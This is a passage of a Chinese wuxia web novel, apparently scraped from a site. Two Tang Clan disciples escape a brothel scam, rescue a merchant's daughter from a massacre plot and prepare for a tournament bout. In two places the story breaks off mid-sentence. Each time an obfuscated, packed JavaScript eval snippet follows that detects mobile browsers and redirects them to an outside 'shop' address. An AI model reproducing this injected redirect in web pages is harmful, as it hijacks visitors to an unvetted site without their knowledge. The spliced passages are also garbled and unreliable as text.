师弟唐烈风是八年前师傅重伤之下带回的孩子,七八岁的年纪,俊秀寡言,由于无人照料,只好由同龄的唐一禾带着起居向学。而师傅似乎也并不喜欢他,师弟的称呼只是默许,并未行正式的拜师大礼。 大师兄传授武艺得过且过,唯独在内功心法的修炼上,要求极为严苛,责令二人每日打坐练气,必须在四个时辰以上。唐一禾原先始终搞不懂,如何将内息运行周天,打坐了半月,总算把一丝小小的气从丹田牵引出来。慢慢地,气丝变成了气团,再之后就又变成了小蛇,能在四经八脉里随心游走、迅捷灵动,每日推起来也不算太枯燥。几年下来,还真让她把小蛇推成大蛇,内力竟有所小成。 至于师弟唐烈风,他的天资更强一点,反正从十岁那年开始,唐一禾就打不过他了,果断放弃武力压制,改为以德服人。 看台之下,拳脚碰撞的闷响断断续续传来。 “来都来了,确定不打了吗?”唐烈风还有些不甘心,他受够了没得换洗的衣裳,“二两银子不少了呢。” “再忍一天。”唐一禾觉得不能自降身份,好歹她如今是经部的代阁主,“明日老陆要是过来,我开口问他借一点。” 唐烈风无奈轻叹,只得点头认命,跟着师姐起身,一前一后准备离开。 “这位小兄弟,招工告示要不要看一下?”一个穿绸缎锦衫的圆脸胖子拦住了唐烈风的去路,“报酬丰厚,可日结。” 真是瞌睡了有人递枕头。 唐烈风脚步一顿:“什么活?” 胖子把手中告示展开,上面写着四个大字:急招按跷。见唐烈风一脸狐疑,胖子笑得满脸堆笑,活像一尊弥勒佛:“鄙人是济世堂掌柜,名下另有一处馆舍,专治达官贵人的陈年旧疾,现急需一位会按跷的壮士,只需手上力气足、耐力好即可。我看小兄弟身形利落,指力肯定不差吧?” 唐烈风低头看了看自己的手:“力气管够。” “那就再好不过,一日工钱二两起步,客人打赏你拿六成。”胖子脸上的笑容更深了,“现在就能上工,随我来吧。” 唐一禾一听还有这样的好事,赶紧上前毛遂自荐:“我力气更大,认穴还准,包贵客通体舒畅,包满意的。” 胖子微微一怔,上下打量她一番,犹豫片刻才点了头:“可以试活,你也一并来吧。” 二人跟着胖子拐过两条街巷,来到一座门头奢靡的院落前,唐一禾抬头一看牌匾,只觉不太对劲—— “西域神象馆,猛男按跷,专治腰背酸痛、陈年旧疾”。 这个名字倒也别致,唐一禾按下心中疑虑,跟着胖子踏入院门。只见一条青石板游廊蜿蜒向内,院中芭蕉繁茂,假山流水,亭台点缀,颇为雅致幽静,全然不像市井俗馆。 入内之后,立刻有仆役上前分流。唐烈风被后院当值的仆役径直带走,去往深处厢房。唐一禾则被领进一间偏僻单间,小厮撂下人便匆匆退走,关上屋门,只留她一人独自等候。 屋里陈设简单,一张矮塌,一个香炉,屏风后面挂着一排衣服。唐一禾百无聊赖等了许久,房门才被人推开。一名容貌清秀的年轻男子大喇喇走入,随意甩掉丝履,四仰八叉趴在矮榻上。 过得一阵,男子撑着腰侧缓缓坐起,斜睨着她,语带戏谑:“哟,新来的?” 唐一禾听他语气不善,也不愿多言,轻轻“嗯”了一声。 不想那男子竟出言讥讽:“一副穷酸样,倒还端上了。毛都没长齐就来服侍人,遇到那肉疙瘩,也不怕一屁股坐死你。” 唐一禾懒得理会对方的恶意挑衅,神色平静:“既是按跷营生,肉疙瘩我下手重些,并无难处。” 这话一出,那男子先是一愣,随即骤然爆发出一阵狂笑,只笑得弯腰捶榻,眼泪都挤了出来,上气不接下气:“你连象馆是做什么的都不知道,就敢过来卖力气?哈哈哈哈……真是笑死我了……” 唐一禾心头一沉,危机瞬起:“这里究竟是什么地方?” “象,温顺可骑,可供人亲昵依偎,你说是什么地方?”男子笑得脸色绯红,语气暧昧又刻薄,“男色馆啊,我的小老弟,看你身形单薄瘦弱,模样倒是白净秀气,可惜……” 后半句污秽言语还未落地,唐一禾浑身一僵,脑子轰然一响。 完了。 被骗了。 她二话不说,转身如同疾风一般冲出房门。师弟自小在洛川山中长大,性子单纯,心思干净,万一在这里受辱,或是一时暴怒动手杀人,那麻烦可就大了。要么被人打死,要么打死别人,怎么算都是绝境。 后院不大,六七间厢房错落排布,帘幕低垂,隐约传来暧昧细碎的声响。唐一禾顾不上顾忌,一路狂奔,挨个踹开房门,不顾屋内惊叫怒骂的男女,快速扫视确认,硬是把整座“西域神象馆”翻了个遍,始终不见唐烈风身影。 怒火与慌乱交织,唐一禾揪住一名管事模样的龟奴,运转内力,两记干脆利落的巴掌扇了上去,逼问之下,终于得知原委。 原来今日刘掌柜寻到了一个“绝色”,已经验看过身形气质,现在“白记”绸缎庄置办新衣,随后就可以送去唐家堡了。 唐家堡…… 唐一禾的怒火湮灭成冷汗滴下,竟然是送去唐家堡?这是又惹到了什么人?她们连天一阁的邀约都没去,就是要隐瞒经部身份,万万没想到,不过出门挣个碎银,竟莫名其妙卷入门内龌龊,还要被强行送入唐家堡。 唐一禾强行压下翻涌的戾气,耳边响起师傅临终嘱托,字字清晰,烙印在心,让此时又急又慌的她几乎要落下泪来。 “唐门近年一直不太平,内外暗潮汹涌,经部手握毒经秘训,三部阁主有禁制在身,也不会轻举妄动。” “此次老祖下了唐门令,必有大变故酝酿,你们只管听命于老祖,不可轻易站队。” “你们见到代掌门之前,不可暴露身份,见到老祖之前,绝不可泄露禁制解毒之法,否则随时丧命。” “你二人毫无江湖经验,武艺也拿不出手,也怪为师私心懈怠,想着有司雅在,怕你们学得多了,生出不该有的心思,就如我的那些师兄弟般。” “你们小孩心性,自然不会全力向学,可惜了这一身的奇佳筋骨,要是从小便如司雅般洗髓伐骨,成就也未必差了。” …… 回忆翻涌而过,唐一禾忍下泪水,收敛心神,随手扯下桌边一块布巾蒙住脸面——这样的龌龊事,还是遮住脸比较好,免得以后在唐家堡没法打照面了。她将内功提升到极致,脚下发了狠力,朝着“白记”绸缎庄飞奔而去。 决不能让师弟落入这样阴暗的算计中。 等她匆匆赶到绸缎庄时,预想中的大打出手、流血冲突的戏码并未上演。店内气氛紧绷,两方人马对峙,安静得只剩呼吸。 人群最外侧,一道熟悉的高瘦身影格外扎眼。唐烈风换上了一身月白色交领薄衫,外衫宽松,银丝束腰勒出利落腰线,肤色冷白,眉眼清冷,脸上扣着半面银色狐狸面具,疏离又绝色。 见师弟安然无恙,唐一禾略略放下心来,只是不知道他为何会穿成这样? 他身前立着一名长剑少年,少年身量竟还要高些,眉锋颌角锐利,容貌俊美凛然,剑尖稳稳对准一旁的胖子刘掌柜,目光冷厉,气场慑人。 对面,一名黄脸长须的老者气息紊乱,显然方才交过手、吃了亏,胸口起伏不定,满脸阴鸷狠厉。 店内主位,一名面色黝黑、气度沉稳的老者端坐,此时淡淡开口打破了僵局:“既然人不愿,就没有强迫的道理,唐门的人做事,总不好坏了规矩。” 黄脸长须的老者咬牙调息半晌,才恨恨地说:“唐至才,你闲的卵疼,伸手管我器部的事,等我禀告阁主……” “少拿唐至雄来压我。”黑脸老者毫不留情出言打断,“论辈分,我与他平辈,论入门先后,他还要唤我一声师兄。” 太好了,趁有人能弹压住局面,此时不撤,更待何时?蒙面的唐一禾快步上前,一把拉住唐烈风的手腕,用力往外拽:“可算是找到你了,快走,回家。” 唐烈风没有半点反抗,乖乖顺着她的力道,默然往外走去。就在二人离去之际,那名持剑俊美少年收剑入鞘,冷眸看向刘掌柜:“骗良家子按跷的戏码,以后再让我撞见一次,让你知道什么叫卵疼。” …… 回到老陆的僻静宅院,关好门窗,二人对坐,唐一禾问、唐烈风答,拼凑出整件事的来龙去脉。 原来唐烈风被“统一着装”的借口诱骗换过衣裳,还真给一个贵客先按了一回跷,然后才被带去绸缎庄置办衣裳。他也是量体裁衣时,听到是要去唐家堡后才明白被骗,当场断然拒绝,争执一触即发。 那个黄脸长须的老者是器部长老,直接动手要强押人,还没等唐烈风出手,那个少年剑客就已经从绸缎庄二楼跃下,一剑刺出、一掌封堵,一个照面就让唐长老吃了闷亏,然后唐一禾就赶到了。 唐一禾看着师弟身上那件月白长衫,心头暗暗感慨,平日里素衣粗布,不显山不露水,换上这般雅致锦衫,衬得他清绝出尘。知道师弟好看,但也没想到好看成这个样子,出趟门就被伥鬼给盯上了。 “你给那个贵客按跷的时候,就一点没察觉不对劲?”唐一禾不死心地追问,“那人就一直老老实实地让你按?” “刚进门时看了我几眼,之后磨磨蹭蹭地趴下,倒也没有什么不对劲。”唐烈风点点头,“我手劲放得大,他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522918|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直哼哼个不停,按完还给了我一百两银票。” “啊?”唐一禾惊呼,接过那张沉甸甸的百两银票,指尖都微微一颤,“这么,大方的吗?” 唐烈风面露嫌恶,迅速脱下那件陌生衣衫,唐一禾赶紧扭过头:“要不,你也给我按按?” “一百两一次。”唐烈风面无表情。 “先记着,等我有钱了再结。” “概不赊账。” “你按不按?哎哟,轻,轻点……” …… 翌日一整天,二人谁也没再说出门的事,尤其是唐烈风发奋苦读,只把随身带的《毒经》《筋经》都要翻烂了。 老陆也迟迟没有上门,四周安静寂寥。 熬到夜色渐沉,腹中饥肠辘辘,唐一禾终于撑不住了:“出门吃饭吧,我们现在有一百两呢,可以吃顿大餐。” “省着点花,我就吃个饼就行。”唐烈风今日始终情绪不高,显然还没走出昨日的阴影,“再也不去按什么跷了。” 唐一禾忍住笑意,开始鼓动他:“可以逛逛罗城夜景,也好熟悉地界,万一还能遇到昨日的少年侠士呢,我们还没感谢人家呢。” “罗城这么大,哪那么容易遇到。”唐烈风闷闷地说,“师姐你今天提他三回了。” “哎呀,这不是承了人家的情嘛,想着找机会回报一下。”唐一禾振振有词,“结果你说他使的不是唐门武功,也不知道姓甚名谁,这才让我反复思量的嘛。” 唐烈风话里有话:“人还长得标致,气度也好。” “嗯嗯,是挺好看的,不过你也好看,太好看了。”唐一禾连忙将话头转回,“一会出门我帮你简单易容一番,免得再被人惦记。” 院落之中材料齐全,唐一禾动手很快,取来锅灰、石灰、炭笔等,手脚麻利操作起来。她先用锅灰把脸和脖子抹上一层灰黑底色,将剪下的小撮头发浸过石灰后细细粘到鬓角下颚,再用炭笔勾勒皱纹细纹,最后抹匀补色。 不过一炷香功夫,唐烈风就变成了一个黑脸瘦老汉,再过得一会,唐一禾自己则变成了一个麻子脸老太婆。二人本就年纪尚轻,身形单薄,假扮中年容易露馅,伪装成一对寻常老弱夫妇,借着夜色遮掩,最为稳妥安全。 易容完毕,二人低调出门。 入夜后的罗城,繁华盛景尽收眼底,不愧于“天府之国”的美誉。鳞次节比的商铺仿佛没有尽头,熙熙攘攘的市集中吆喝声此起彼伏,一条锦江穿城而过,舟楫往来如织,两岸遍布茶肆酒楼,更有遍布城中的书院、寺庙、戏台,可算是让二人开了眼界。 不过经部弟子长年与毒物、药石打交道,为防相克冲撞,均不贪口腹之欲,二人只看新鲜不花钱,一路来到了“勾云楼”。 “勾云楼”是罗城最大的戏楼,听老陆提过一嘴,正是唐门器部的产业。昨夜二人在器部手上吃了亏,唐一禾今夜非要来此坐一坐,搞不好还能探到点大师兄的消息。因为论世间哪儿流言走得最疾,就数酒肆、勾栏、戏班子三处。 戏楼分上下两层,一层散座,二层包厢,此时散座基本上坐满了。唐一禾虽然有了大票傍身,但还是找到靠边的方桌坐下,花掉身上最后的五十文,问茶博士要了一壶茶和几盘酥饼干果,一边吃一边看起来。 台上也不知演的什么剧目,反正演员们唱、念、做、打都很卖力,尤其是演武生的那个青年男子,不仅扮相好、唱作佳,武戏更是干净利落,意态潇洒,赢得观众的阵阵掌声。唐一禾在洛川憋了这么多年,此时也觉得眼花缭乱,热闹纷呈,看得那是津津有味,忍不住连连拍手。 不知不觉半场结束,茶博士们又穿梭起来,忙着添茶倒水,场内喧哗更盛。 “不早了,还是回去吧,明儿晚上还有正事。”唐烈风只觉得吵闹,忍不住低声催促了起来。 “再看一会嘛。”唐一禾嘴里塞满点心,眼神死死黏在台上,“那个武生真够俊的……” “就那么好看?”唐烈风不耐。 “就那么好看。”唐一禾话音刚落,目光随意一扫台下,猛地瞳孔骤缩,剧烈咳嗽起来。 唐烈风赶紧递过一杯温凉的茶水,等他顺着师姐的视线抬头望去,神色也是骤然一凝。 好家伙,上半场如此正经的表演,下半场已经彻底变了模样。这会上台的演员个个装扮清凉,姿态妖娆,最扎眼的莫过于那一排光溜溜、只靠薄纱和披帛遮羞的舞姬,引发观众的巨大喝彩声。 唐烈风眼底骤然闪过一丝晦涩阴霾,那些久远的仿佛已经死去的记忆,好像突然纷纷苏醒过来,将他的五脏六腑紧紧缠绕,他一时间竟僵直怔忪了。 直到一只柔软的手掌,带着熟悉的气息覆于眼上,挡住了戏台的春光,唐烈风才回过神来,耳边传来师姐戏谑的声音:“就这么好看?” “嗯。”唐烈风回过神,低声失笑,“就这么好看。” “别瞧了,你没发现?方才楼下的孩童、妇人家,下半场早就尽数离场了。这戏后半段,本就不是给正经人看的。”唐一禾不好一直伸着手掌,反手压下唐烈风的头,凑过去耳语道,“走吧,也听不到什么有用的消息,咱明天晚上还有正经事。” 唐一禾很擅长用别人的话,反过来堵别人的嘴。唐烈风也不会当真跟师姐作对,乖乖点头正待收腿起身,突然看到师姐耳朵一动,然后是一个眼神递过来。二人打小培养出来的默契,让唐烈风立刻会意,他抬手握住唐一禾手臂,将内力从内关穴传了过去。 二人原本打算起身的动作停下。 唐一禾屏息凝神,将五感提升至极致,斜上方雅座包间的声音一字不差的落入耳中。原本在这么喧哗的地方,只能听到周围散客的闲谈,二楼客人的交谈是无论如何也听不到的。但现在喝彩的声浪实在太大,里面的人也提高了音量,让唐一禾听个分明。 既然提到了唐门代掌门的大公子唐司南的名字,还是一桩宗门核心嫡系的风流韵事,那可真是不得不听了! 4. 多管闲事 “对,从左数第二个,跟陆曼娘真的七分相像。”粗豪的声音听着似是一名大汉,“可惜今晚之后,就只有这个假陆曼娘了。” 另一个声音略带尖细,说话间还有点喘:“你是说,唐,司南也被蒙在鼓里?这不能吧,他瞧上的女子就没有弄不上手的。” “哼,任他如何势大,这次也得认栽。”粗豪大汉似乎很是不屑,“这小子不就仗着是那位的亲儿子吗?娶了七房还不消停,这次踢到铁板,不怪别人给他截胡下套。” “还是王二哥,您厉害,这么机密的事儿都,能让您参与。”尖细的声音更喘了,“难不成,今晚就,就要动手了?” 粗豪大汉冷哼一声:“那还用说?贵哥现在器重我,好多棘手的事儿都交代给我办,进入内门指日可待。” “恭喜王二哥,那,竟是要在平安坊动手吗?” “你小声点。”粗豪大汉有点不悦,压低了声音,“贵哥亲自动手,区区一个广通镖局算什么?” “那是自然。”尖细的声音带上点谄媚,“来来来,王二哥再来一杯,您真是海量啊,心胸更是宽广……” 这种马屁话唐一禾实在听不下去,于是卸下劲力起身站起,唐烈风也缓缓松开手掌,二人一前一后,走出了戏场。 唐一禾认路极准,走过的路都在心里,她一边抄近道往回走,一边小声地转述听到的内容,唐烈风默不作声的听着,眉头越皱越紧。 “唐司南,就是制部阁主唐至霖的独子吧?”唐一禾对其他几部的人都不熟悉,只从大师兄嘴里听到过。 “是。”唐烈风对这个制部的这个大师兄有印象。 相比起唐门经、式两部的界限分明,人丁不兴,另外的制、器两部,则门生众多,势力惊人。 虽说一开始制部主营丹药,器部专注暗器,但后面随着发展,不管是跟丹药相关的药材炼制,还是跟暗器相关的冶炼锻造,都需要火药、贩运以及大量的人手,两部的营生越来越难分开,只好什么赚钱做什么。 现如今两部人数众多且龙蛇混杂,药铺、医局、镖行、酒楼乃至赌场妓院均有所涉猎,二位阁主也睁一只眼闭一只眼,只要能交上各行商引及抽水就行,两部之间也因利益时有摩擦,只是从来不放到明面上来。 为有效管理,制、器两部还将弟子分为内门弟子及外门弟子,内门弟子必须是阁主及其师兄弟的亲传弟子,带艺拜师也行,但得改“唐”姓、遵古制,晨钟暮鼓,侍奉师门。外门弟子的要求则松的多,不要求改姓,也无武艺考量要求,只要簿记名册,遵守门规即可。 唐一禾边走边皱眉,刚刚听到的唐司南口碑,跟印象中可是截然不同,她小声咕哝道:“大师兄称其精明强干,文武双全,原以为是个了不起的人物,不想是个娶了七房姨太还嫌不够的蠢货。” “精明强干,文武双全跟娶几个没关系。”唐烈风难得地反驳了一句。 “怎么没关系?”唐一禾闻言大怒,“家务事搞得一塌糊涂的人,能办得了什么大事?裤腰都管不住的人,能管得了什么人?” “师姐所言极是。”唐烈风马上低头。 “你不要小小年纪不学好,是不是打算以后娶十八房姨太太?”唐一禾觉得有必要再教育一番,“好男儿志在四方,先立业,后……” “左拐就是平安坊。”唐烈风无视师姐的苦口婆心,指着路口静静地说。 唐一禾一怔,往左看去,竟阴差阳错来到平安坊附近。二人对视一眼,皆知对方心意。来都来了,这场热闹不看白不看,于是并肩缓步,朝平安坊中走去。 此时亥时已过,大多商铺已闭门歇息,只有零星的几家亮着昏黄的灯光。好在转角处还有一家小小的粉面铺开着,门前飘着白色的热气,二人进去各要了一碗老臊子粉吃,酥饼茶水还是不顶饿,只有热汤下肚才觉浑身暖意。 为了打发时间,唐一禾又要了一份抄手和一盘花生米,一边慢慢吃一边跟老板闲谈。老板是个中年圆脸妇人,手脚麻利,语速也极快。 不过片刻,唐一禾就知道了平安坊最大的屋舍就是广通镖局的。镖局原是三兄弟合伙经营,后来分了家,老二、老三分别在阆中、江州开了分局,这里是总部所在,由大哥陆向荣主事。 广通镖局近些年做得不错,各处打点的也好,陆家三兄弟祖传的功夫据说也很厉害,所以在罗城颇有几分脸面。陆向荣与其夫人感情甚笃,夫人早逝后不再续弦,底下只得一个闺女唤做曼娘的,从小捧在手心里长大,长得那叫一个花容月貌,然后就是因为太漂亮了,惹下了祸事。 不知是在什么场合,陆曼娘让制部少阁主唐司南一见倾心,发誓要娶回家当八房。唐少阁主要财有财,要貌有貌,在罗城更是呼风唤雨,数不清的女子想着攀这枝高枝。 但陆曼娘何许人也,自小娇养长大,金银不缺,父亲又是个痴情种,一心想着一生一世一双人,哪里愿做人第八房姨太。陆曼娘越不同意,唐少阁主就越是心痒难耐,觉得家里的七房姨太都失了颜色,先是不停的提高聘礼,后是请罗城郡守上门做媒,给足了陆家脸面。 无奈陆曼娘硬是不肯点头,自觉被架上去的唐少阁主非要争这口气,开始在生意上动手脚,截客源、扰镖路、催债款,愣是把爱女心切的陆向荣给逼急了,放出话来——就算广通镖局关门,也有银子养老姑娘。 这一下可让唐少阁主颜面无光,于是这个事儿就僵在这里了。 唐一禾很会跟人聊天,带着请教的发问,总能精准戳到对方痒处,再辅以恰到好处的捧哏,让人更得掏出点压箱底的料来回馈。聊到最后,唐一禾连陆家后院角门边有个狗洞都知道了。 远处瓦当发出轻微的一声响。 来了,唐一禾朝唐烈风看去,掐出手势告知来人方位及数量。 不对,怎么来了这么多人?!随着唐一禾手势的变化,唐烈风神色也凝重起来。二人自知武艺不精,没打算蹚这趟浑水,只为来看一场偷香窃玉的热闹,但眼下这情形明显不对了,四面伏击可不像单为追逐风月而来。 唐一禾连忙一字一句地回想“对话”,惊觉她被“截胡下套”误导,把事情想得简单,没料到是这么个大阵仗!肯定还有别的缘故,唐一禾眉头紧锁,心口不受控制地狂跳起来,听着已经来了上百人,武艺高低都有,怎么还有薪火硝石的味道,不好,这是灭门的架势。 唐烈风缓缓地朝唐一禾摇头,唐一禾知道他的意思,二人不过是偶然听到,犯不着出头找死。收起心中的不忍,唐一禾起身结账,谢过老板并叮嘱其打烊后上好门板,便悄悄带着师弟离开。 天已经漆黑了,今晚没有月亮,遥远的几颗星撒下一丝星光。唐一禾运力于目,依稀辨得四面屋脊上都有人影,足下微微停顿了一下,朝埋伏最少的一侧走去。 不欲插手,自然是越少麻烦越好,等顺着墙根走了好一会,唐一禾突然停下,低声轻语:“见死不救,总是很难过得去内心这一关,想想办法,也未必不能行。” “师姐不是说,不要介入他人因果吗?”唐烈风有些担忧地说。 “可因果至此,未尝不是天意?”唐一禾闭了闭眼,指着墙跟处一个黑乎乎的孔洞,微微叹气,“先是无意间听到了密谋,再是抄近道路过平安坊,现在狗洞就在眼前。” 唐烈风定睛一看,好巧不巧,正是广通镖局后院角门边的狗洞。他看到唐一禾嘴巴抿了起来,知道她下了某种决心,也不再犹豫,先替她把话说出了口:“有没有狗洞,师姐都会去的吧,不然也不会绕着弯走到这边。昨夜少年侠士能仗剑救我,我们今夜为何不能拔刀相助?” 唐一禾感激地看了师弟一眼,却听他继续说:“洞口太小,你勉强能进,我肩膀过不去,陆曼娘成年女子,也是钻不过的。我留在此地接应,清理掉两边的埋伏。两炷香的时间,你成不成功都要回来。” 这正是唐一禾心中所想。 后院主要为演武场和花园,占地宽阔又没有屋舍,埋伏的人相对少,只在围墙上的犄角处设了弓箭手。想要不被发现地进去,最快的办法就是钻进去。翻墙进去也不是不行,那得先拔掉周遭的盯梢,但时间会来不及,一旦卷入正面交锋就麻烦了。 听到师弟如此说,唐一禾只是嗯了一声,立刻矮身缩肩,一溜烟钻进了狗洞,动作之麻利简直要让人怀疑,这样的事情是不是做过无数回了。 唐烈风看到师姐身影消失在墙脚后,才默默地缩回角落,心下略一沉思,便悄悄朝西边的埋伏方位摸了过去。 钻出狗洞的唐一禾,远没有钻进去时的潇洒。她没料到另一端洞口向下,出口更为窄小,还是摸出钢爪掏了一层硬土后,才愣生生挤过去的。此时唐一禾后背一片刺痛,应该擦破了不少皮,头脸上也满是土灰,但已经没有时间管这个了,唐一禾快速辨认了一下屋舍方位,借助夜色及植株掩护,飞快的朝东北角的女子绣楼掠去。 唐一禾身材细长,骨骼轻巧,轻功练得最好,又有五感加成,一路顺利地避开了镖局巡夜,但要无声无息进得屋去,却避不开对面屋顶埋伏的耳目。 她脑子转得飞快,看准时机猫腰豹扑,贴墙攀上院角大柳树。再等到风吹柳条之际,运气送了一把“甘露”,给对面埋伏的三人当礼物——这份礼物可是珍贵,毕竟碧螣还是个蛇宝宝,一次只能娶一点毒液,攒了好久才积得小半瓶,此时再舍不得也得用了。 听着三道呼吸声遽沉,唐一禾稍稍松下一口气,碧螣毒液混了白曼陀花汁,无色无味,毒性发作极快,后续余毒缠绵,除了难以炼制,简直是最完美的毒药了。这是师傅留下的配方,碧螣也是师傅传给她的,唐一禾曾多次感慨,要是找不到大师兄的话,经部就要在她手里败了。 唐一禾悄悄滑落至地面,绣楼在黑暗中始终很安静,陆曼娘跟贴身丫鬟们应该都熟睡了,只有一个守夜的小丫头,靠在一盏气死风灯下面打盹。唐一禾半点不敢耽搁,轻声翻上绣楼二层,悄悄掀开窗户一角,一把迷魂散撒进去——没干过这事的唐一禾心中紧张,抓得药粉有点多,不对,是很多,估计一头牛都能放倒。 待得片刻,唐一禾才有些担心地进了屋,见晕在雕花大床正中的女子,果然美得惊人。她自知最多救得一个,只能祈祷掳走正主后,其他人能逃过一劫吧。她运劲于臂抱起美人,快速地从原路折回。 由于多带了一个人,回去的路上费心躲藏,两次差点被护院发现,吓出唐一禾一身冷汗。好在前院突然爆发的示警声,吸引了护院及埋伏之人的注意,然后是利器入肉、惨叫闷哼、以及各种令人毛骨悚然的声音。唐一禾一路连滚带爬,终于在堪堪两炷香内回到了狗洞内侧。 唐一禾学了声长耳鹄的咕咕叫,狗洞外墙立刻传来轻微的敲击声,然后墙壁上方出现一道熟悉的人影。 吁,唐一禾放下心来,立刻从腰间抽出软鞭,一头绑在陆曼娘的腰上,一头朝跃上高墙的师弟扔去。唐烈风接住鞭柄一使劲,陆曼娘的身子便腾空而起,等他双手接过陆曼娘,发现师姐已经先翻墙跃了出去,于是赶紧带着陆曼娘跳下,跟着师姐的身影,快速消失在黑暗中。 …… 次日清晨,“咚咚咚咚”、“咚咚咚咚”的敲门声显示出来人的焦躁,唐一禾去开的门,发现是一向沉稳的老陆。 只见他愁眉苦脸的走进内厅,手里拿着一份小册——这是晚上金章擂台的对战次序表,上面有此次所有参赛者的花名及赔率。 不过一日功夫,老陆竟似苍老了五岁,头脸都是洗过的,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522919|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛红肿是洗不掉的,唐一禾诧异的问:“老陆,你这遇着什么事儿了?” “广通镖局昨晚被人灭门了。”老陆的声音沙哑,几乎听不出原声了,“还放了火,镖局前门后门都被钉死,一个都没逃出来。据现场的衙役说,火堆里刨出来四十来具尸体,个个面目全非,难以辨认。” 唐一禾赶紧给老陆递上茶水,他也不喝,只是往下说:“总镖头陆向荣的父亲陆老爷子,是我的救命恩人,是他在西北把我捡回来的,我堂客还是陆老太太的大丫鬟。” 老陆长叹了一口气:“早上听到消息时如遭雷击,忙慌就赶过去了。陆家人缘一直不错,我到的时候已经乌压压一片的人,都是受过陆老爷子和陆总镖头恩惠的。这些年陆家生意越做越好,要不是曼娘,哎,怎么会惹到唐少阁主这尊大佛。” 老陆抬起袖子擦了擦泪,语意非常坚决:“此事绝不能善罢甘休,就算拼了这把老骨头,也要和老伙计们一起替陆家讨个公道。镖局子还有两趟镖在外面,加上镖头镖师趟子手,有个八九十号人,等陆老二、陆老三赶过来,我们再一起商量如何报仇。哎,就是可怜我陆大哥和侄女,竟遭此大难。” 正如所有上了年纪的人一样,老陆话多且执拗,前前后后、颠三倒四说了一堆重复的话,唐一禾打断了三次都没阻止,到最后实在没忍住:“陆曼娘没死,正在右厢房里躺着呢。” 老陆瞳孔剧震,反应了好一会才听懂,大叫一声后跌跌撞撞地跑进右厢房,过得一会又跌跌撞撞地跑出来:“是曼娘,是曼娘,她怎么在这里?她怎么了,为什么叫,叫不醒?” “咳咳,迷魂散用得多了点,估计要到傍晚才能醒了。”唐一禾略微发窘,“我与师弟能力有限,只救得一人出来。” 听着唐一禾的讲述,老陆合十的双手就一直没放下来:“菩萨保佑,菩萨保佑,曼娘是我从小看着长大的,最是伶俐聪慧的一个丫头,怎么看也不是福薄之人。天意天意,碰上了你们的援手,就是她的福分。只可惜陆大哥没这般造化,哎哎。” 听着老陆又开始絮絮叨叨,夸赞起二人的侠肝义胆来,唐一禾当机立断,拔腿就走:“陆姑娘就有劳她陆世伯费心了。她遭此巨变,怕一时想不开,恐怕还得找几个信得过的人,过来贴身照料和开导。那我跟师弟先去前厅,琢磨一下晚上比赛的擂台对手。” 唐烈风露出如释重负的表情,紧跟唐一禾跨出门,不料唐一禾又折回来,对老陆正色道:“这两日暗地派人去各大医馆盯着,凡是浑身剧烈不明瘙痒来求医问药的,都一一查明身份,依此顺藤摸瓜,就能找到真凶。如果有把不准的,务必通知我们二人。既然管了这事儿,我就要管到底,总不能任恶人逍遥,让好人蒙冤。” 老陆闻言大喜,但想到恩人一家遭遇又心中悲痛,脸上的神情似笑非笑、似哭非哭:“老夫三生有幸,年近古稀得遇二位少侠,大恩不言谢,此后愿效犬马之劳。” “老掌柜言重了。”唐一禾连忙回道,“我们也感念您的收容指点。” 双方之前虽在客栈联手对敌,毕竟都是自保,谈不上多信任,而现在一方仗义出手救人,另一方坚定讨回公道,在看清彼此为人后,才算彻底卸下了心防。 老陆带来的花名册上,潦草的写着金章擂台各参赛的人名、武器、以及压注赔付比,有的后面注了性别年龄、门派,有的则是一片空白。老陆这两天花了大功夫打听消息,等收拾好情绪后,他帮二人仔仔细细地捋了一遍。 有了老陆不遗余力的参谋,唐一禾站在擂台上时,内心奇异地没有一丝担忧,只有必胜的决心。不过想到老陆给师弟下注了一千两,给她则是分文未下,她就忍不住心中来气。 由于二人都是保人引荐,参赛信息均由老陆提供,也不知道庄家是如何评判的,唐一禾的赔率是一比三,唐烈风赔率则是一比五。分明是自己赔率更好啊,唐一禾心想,为什么老陆对她没有信心?! 树争一层皮,人争一口气,于是唐一禾在上台前,掏出全部家当——一百两银子,压了自己胜。 唐一禾今晚的对手是一个花名“山君”的魁梧壮汉,三十来岁的年纪,肌肉虬结,豹眼如电。由于是从第一等级比赛中一场一场打出来的,群众基础颇为扎实。此时的他不仅没有戴面具,还不停的跟观众挥手互动,导致满场的观众都在高呼“山君”、“必胜”之类的,气氛很是热烈。 当然也有一些唐一禾觉得很刺耳的喊话,比如“打死那只软脚鸡”、“神疯发癫,无影无踪”、“小宝宝回家喝奶去,这里不是你待的地方”…… 有那么一瞬间,唐一禾有点后悔,应该戴那张“夜叉”面具的,这样至少气势足一些。不过她转念一想,反正不受待见,戴啥都一样,那就走着瞧,看谁是“软脚鸡”,是谁该喝奶去。 金章擂台运营多年,自有一套成熟的规则。考虑到有人不愿暴露身份,擂台允许带面具;季赛兵器未开刃,武艺较量点到为止,毕竟练到这一层次的,会更爱惜羽毛,无非图个钱,犯不着玩命;还有破格参赛制度,哪怕比到最后一天,新来的武者,只要能在五丈之外单靠掌风劈灭三支蜡烛的,就能直接上擂台。 